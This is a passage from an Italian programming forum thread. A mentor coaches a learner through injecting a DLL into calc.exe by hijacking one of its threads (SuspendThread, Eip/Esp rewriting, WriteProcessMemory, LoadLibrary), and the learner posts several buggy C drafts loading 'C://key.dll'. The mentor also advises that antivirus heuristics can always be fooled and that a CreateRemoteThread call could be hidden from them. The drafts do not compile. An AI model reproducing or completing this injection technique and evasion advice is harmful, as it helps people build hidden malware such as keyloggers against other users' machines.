* prendi la copia e gli cambi il registro Eip piazzandoci dritto dritto il valore ritornato dalla seconda VirtualAllocEx; in altre parole devi mettere in Eip l'indirizzo che la MyLoadLibrary ha nell'altro processo.
* simuli un push sullo stack del thread sottraendo 4 al registro Esp
* fai una WriteProcessMemory all'indirizzo contenuto ora in Esp che scriva l'indirizzo della struttura nell'altro processo; cioè al secondo parametro devi passare (LPVOID)Esp mentre al terzo devi passare un puntatore alla variabile che contiene il valore di ritorno della prima VirtualAllocEx
* SetThreadContext e ResumeThread, e inizia il divertimento :D
a questo punto viene eseguita la MyLoadLibrary nell'altro processo, la quale deve:
* chiamare LoadLibrary, ovviamente :)
* chiamare SetEvent per avvisare l'iniettore dell'avvenuto caricamento (e qui avrai capito a cosa serviva l'evento :D)
* fermarsi a tempo indeterminato con una Sleep(INFINITE);
ora invece riprendiamo l'iniettore da dove eravamo rimasti, cioè da subito dopo la ResumeThread:
* fai una WaitForSingleObject e attendi che venga segnalato l'evento
* sospendi il thread dirottato con SuspendThread
* riprendi la struttura CONTEXT che ti eri salvato prima (non la copia modificata, l'originale!) e fai una SetThreadContext; in questo modo ripristini lo stato originario del thread
* con un paio di VirtualFreeEx cancelli dalla memoria dell'altro processo la MyLoadLibrary e la struttura dell'evento e del path
* ResumeThread e ripristini il thread dirottato
* con qualche CloseHandle chiudi gli HANDLE dell'evento, del thread dirottato, e del processo target.
fine. ora ci sarebbero una marea di dettagli ma se studi bene (e sperando di essermi espresso bene io ^^) li potrai capire da solo. prova a scrivere del codice e vediamo che succede :)
tra una cosa e l'altra continuo sto prg :p
ma mi sn perso una cosa: nello struct devo fare un handle con un event object, ma quale event? o.O
quello che crei al terzo passaggio
ohhh dp essere tornato dalle vacanze ho ripreso in mano il progetto :p
ti posto il codice che ho scritto e nemmeno compilato perchè manca un po' di roba (tipo la gestione degli errori ecc)
sopratutto ho fatto casini con l'handle duplicato e i vari spazi in memoria :d
cmq eccolo:
int _main2 ()
{
int i;
DWORD proclist[1024], nbit, cProcesses, dwWaitResult, threadid;
TCHAR nomeproc[0x100];
LPVOID ind, ind2;
BOOL b;
HANDLE handleproc. handleopen;
LPHANDLE targethandle;
one.ev=CreateEvent(NULL,FALSE,TRUE,NULL);
EnumProcesses(proclist,sizeof(proclist),&nbit);
cProcesses = nbit / sizeof(DWORD);
BOOL b,c;
LPTHREADENTRY32 punt;
lpContext puntcontex, newcont;
for ( i = 0; i < cProcesses; i++ )
{
handleproc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,proclist[i]);
if (handleproc == NULL)
{
continue;
}
GetModuleBaseName(handleproc,NULL,nomeproc, 0x100 * sizeof(TCHAR));
if(!lstrcmpi(nomeproc,TEXT("calc.exe")))
{
DuplicateHandle(handleproc,handlecreate,handlecreate,targethandle,NULL,TRUE,DUPLICATE_SAME_ACCESS); //----
ind=VirtualAllocEx(one,NULL,1024,MEM_COMMIT,PAGE_READWRITE);
ind2=VirtualAllocEx(&myloadlibrary,NULL,1024,MEM_COMMIT,PAGE_READWRITE);
b=WriteProcessMemory(handleproc,ind,one,1000,NULL);
c=WriteProcessMemory(handlecreate,ind2,&myloadlibrary,1000,NULL);
Thread32First(handleproc,&punt);
handleopen=OpenThread(THREAD_GET_CONTEXT,FALSE,punt.th32CurrentProcessID);
SuspendThread(handleopen);
GetThreadContext(handleopen,&puntcontex);
CopyMemory(&newcont,&puntcontex,sizeof(puntcontex));
newcont.Eip=ind2;
newcont.Esp=newcont.Esp-4;
WriteProcessMemory(handleproc,(LPVOID)Esp,&ind,1000,NULL);
SetThreadContext(handleproc,&newcont);
ResumeThread(handleopen);
WaitForSingleObject(one.ev,INFINITE);
SuspendThread(handleopen);
SetThreadContext(handleproc,&puntcontex);
VirtualFreeEx(handleproc,ind,0,MEM_RELEASE);
VirtualFreeEx(handlecreate,ind2,0,MEM_RELEASE);
ResumeThread(handleopen);
CloseHandle(handleopen);
CloseHandle(handlecreate);
}
CloseHandle(handleproc);
}
}
in fatto di errori questo farà esageratamente male :D
visto che è incompleto gli ho dato solo un'occhiata ma mi son fermato quasi subito: cos'è quell'"handlecreate" che passi alla DulicateHandle? se ricordo bene, secondo la tecnica che avevo descritto devi duplicare l'HANDLE dell'evento, che hai messo nel campo "ev" di una misteriosa struct "one" :D
un paio di errori di cui mi sono accorto:
1) alle VirtualAllocEx, al primo parametro, dovresti passare handleproc se non erro;
2) la Thread32First non vuole l'HANDLE del processo, ma quello di un'enumerazione che hai aperto con la funzione CreateToolhelp32Snapshot (http://msdn2.microsoft.com/en-us/library/ms682489.aspx) e che poi dovrai chiudere con CloseHandle.
quindi una cosa del genere?
anche se sto duplicate nn mi piace neanche un po'... nn riesco a capire che cavolo vuole :p
int _main2 ()
{
int i;
DWORD proclist[1024], nbit, cProcesses, dwWaitResult, threadid;
TCHAR nomeproc[0x100];
LPVOID ind, ind2;
BOOL b;
HANDLE handleproc. handleopen, th32ProcessID;
LPHANDLE targethandle;
one.ev=CreateEvent(NULL,FALSE,TRUE,NULL);
EnumProcesses(proclist,sizeof(proclist),&nbit);
cProcesses = nbit / sizeof(DWORD);
BOOL b,c;
LPTHREADENTRY32 punt;
lpContext puntcontex, newcont;
for ( i = 0; i < cProcesses; i++ )
{
handleproc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,proclist[i]);
if (handleproc == NULL)
{
continue;
}
GetModuleBaseName(handleproc,NULL,nomeproc, 0x100 * sizeof(TCHAR));
if(!lstrcmpi(nomeproc,TEXT("calc.exe")))
{
DuplicateHandle(one.ev,one.ev,handleproc,targethandle,NULL,TRUE,DUPLICATE_SAME_ACCESS); //----
ind=VirtualAllocEx(one,NULL,1024,MEM_COMMIT,PAGE_READWRITE);
ind2=VirtualAllocEx(&myloadlibrary,NULL,1024,MEM_COMMIT,PAGE_READWRITE);
b=WriteProcessMemory(handleproc,ind,one,1000,NULL);
c=WriteProcessMemory(handleproc,ind2,&myloadlibrary,1000,NULL);
th32ProcessID=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
Thread32First(th32ProcessID,&punt);
handleopen=OpenThread(THREAD_GET_CONTEXT,FALSE,punt.th32CurrentProcessID);
SuspendThread(handleopen);
GetThreadContext(handleopen,&puntcontex);
CopyMemory(&newcont,&puntcontex,sizeof(puntcontex));
newcont.Eip=ind2;
newcont.Esp=newcont.Esp-4;
WriteProcessMemory(handleproc,(LPVOID)Esp,&ind,1000,NULL);
SetThreadContext(handleproc,&newcont);
ResumeThread(handleopen);
WaitForSingleObject(one.ev,INFINITE);
SuspendThread(handleopen);
SetThreadContext(handleproc,&puntcontex);
VirtualFreeEx(handleproc,ind,0,MEM_RELEASE);
VirtualFreeEx(handleproc,ind2,0,MEM_RELEASE);
ResumeThread(handleopen);
CloseHandle(handleopen);
CloseHandle(th32ProcessID);
}
CloseHandle(handleproc);
}
}
uhm oltretutto mi han detto che qualsiasi smanettamento dei processi ecc gli antivirus rompono lo stesso o.O
uhm oltretutto mi han detto che qualsiasi smanettamento dei processi ecc gli antivirus rompono lo stesso o.O l'euristica sono metodi deboli, c'è sempre il modo di fregarli. non dovesse funzionare neanche questa tecnica (ne dubito) torneremo all'approccio CreateRemoteThread e cercheremo di non far capire all'antivirus che stiamo effettuando una chiamata a tale funzione.
uhm ok :)
hai dato un'occhiata al codice sopra? :D
uhm ok :)
hai dato un'occhiata al codice sopra? :D be' ci mancavano ancora un po' di correzioni... le VirtualAllocEx hanno ancora il primo parametro errato, ed inoltre (altra cosa che ho visto ora) targethandle è un puntatore non inizializzato ad un HANDLE. non è cosìche devi ricevere l'handle risultante dalla duplicazione, devi invece dichiarare targethandle come HANDLE e passare alla DuplicateHandle il puntatore:
DuplicateHandle(one.ev,one.ev,handleproc,&targethandle,NULL,TRUE,DUPLICATE_SAME_ACCESS);
altra cosa (non è un errore ed è ininfluente, è giusto per precisare): non è necessario che il nuovo HANDLE sia ereditabile, quindi al penultimo parametro potresti anche passare FALSE.
ah, e nella dichiarazione di "puntcontext" e "newcont", "lpContext" deve essere scritto tutto maiuscolo :D
azz vero, mi ero dimenticato delle virtual :p
int _tmain(int argc, _TCHAR* argv[])
{
int i;
one.vet="C://key.dll";
DWORD proclist[1024], nbit, cProcesses, dwWaitResult, threadid;
TCHAR nomeproc[0x100];
LPVOID ind, ind2;
HANDLE handleproc, handleopen, th32ProcessID;
LPHANDLE targethandle;
one.ev=CreateEvent(NULL,FALSE,TRUE,NULL);
EnumProcesses(proclist,sizeof(proclist),&nbit);
cProcesses = nbit / sizeof(DWORD);
BOOL b, c;
LPTHREADENTRY32 punt;
LPCONTEXT puntcontex, newcont;
for ( i = 0; i < cProcesses; i++ )
{
handleproc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,proclist[i]);
if (handleproc == NULL)
{
continue;
}
GetModuleBaseName(handleproc,NULL,nomeproc, 0x100 * sizeof(TCHAR));
if(!lstrcmpi(nomeproc,TEXT("calc.exe")))
{
DuplicateHandle(one.ev,one.ev,handleproc,&targethandle,NULL,TRUE,DUPLICATE_SAME_ACCESS);
ind=VirtualAllocEx(handleproc,NULL,1024,MEM_COMMIT,PAGE_READWRITE);
ind2=VirtualAllocEx(handleproc,NULL,1024,MEM_COMMIT,PAGE_READWRITE);
b=WriteProcessMemory(handleproc,ind,one,1000,NULL);
c=WriteProcessMemory(handleproc,ind2,&myloadlibrary,1000,NULL);
th32ProcessID=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
Thread32First(th32ProcessID,&punt);
handleopen=OpenThread(THREAD_GET_CONTEXT,FALSE,punt.th32CurrentProcessID);
SuspendThread(handleopen);
GetThreadContext(handleopen,&puntcontex);
CopyMemory(&newcont,&puntcontex,sizeof(puntcontex));
newcont.Eip=ind2;
newcont.Esp=newcont.Esp-4;
WriteProcessMemory(handleproc,(LPVOID)Esp,&ind,1000,NULL);
SetThreadContext(handleproc,&newcont);
ResumeThread(handleopen);
WaitForSingleObject(one.ev,INFINITE);
SuspendThread(handleopen);
SetThreadContext(handleproc,&puntcontex);
VirtualFreeEx(handleproc,ind,0,MEM_RELEASE);
VirtualFreeEx(handleproc,ind2,0,MEM_RELEASE);
ResumeThread(handleopen);
CloseHandle(handleopen);
CloseHandle(th32ProcessID);
}
CloseHandle(handleproc);
}
}
anche se nn ne sn ancora molto convinto :p
targethandle deve essere dichiarato come HANDLE. stessa cosa per puntcontext e newcont, scusa se non te l'ho detto prima ma sono riconoglionito :D
li hai dichiarati come puntatori a CONTEXT (cioè LPCONTEXT) ma in realtà poi hai passato i loro rispettivi puntatori alla Get/SetThreadContext, passando così dei puntatori a puntatori non inizializzati. per correggere non devi passare puntcontext e newcont così come sono, perché in tal modo passeresti dei puntatori non inizializzati :D
devi essere tu a dichiarare le strutture CONTEXT e passare i puntatori. quindi dichiara puntcontext e newcont come CONTEXT (non LPCONTEXT), e passa &puntcontext e &newcont alle rispettive funzioni.
quindi posso scegliere se passare puntocontext e newcont come handle oppure devo creare la struttura context e poi passarli come puntatori alle funzioni? mi sn perso n'attimino :p
oltretutto nn so come mai targethandle era là fuori da solo lol
quindi posso scegliere se passare puntocontext e newcont come handle oppure devo creare la struttura context e poi passarli come puntatori alle funzioni? mi sn perso n'attimino :p ehm NO :|
andiamo con ordine :D
puntcontext e newcont sono dichiarati come LPCONTEXT; toglici "LP" e dichiarali come CONTEXT :D
successivamente, quando devi passare queste due variabili alle due funzioni Get/SetThreadContext, non passarle direttamente ma passa il loro puntatore.
occhio che non mi ricordo bene ma mi sa che non puoi passare le due struct senza prima inizializzarle: devi azzerarle completamente con ZeroMemory e poi impostare il campo coi flags per dire quali registri vuoi prendere (nel tuo caso tutti). la documentazione su MSDN non documenta quella struttura perché dice che è opaca e che varia da un'architettura all'altra (giustamente), e che per vedere la documentazione dei singoli campi devi vedere il file winnt.h (è nella directory di installazione del Platform SDK, sottocartella Include).
ahhh k era stupidata :d
per usare ZeroMemory ho provato a spulciare winnt.h e ho trovato una carrellata di context ma nessuna che mi definiva la struttura tipo struct...
oltretutto provando a compilare mi segnala 30 errori ma nessuno riguardante il context o il get/setthreadcontext :D
vBulletin® v3.6.4, Copyright ©2000-2025, Jelsoft Enterprises Ltd.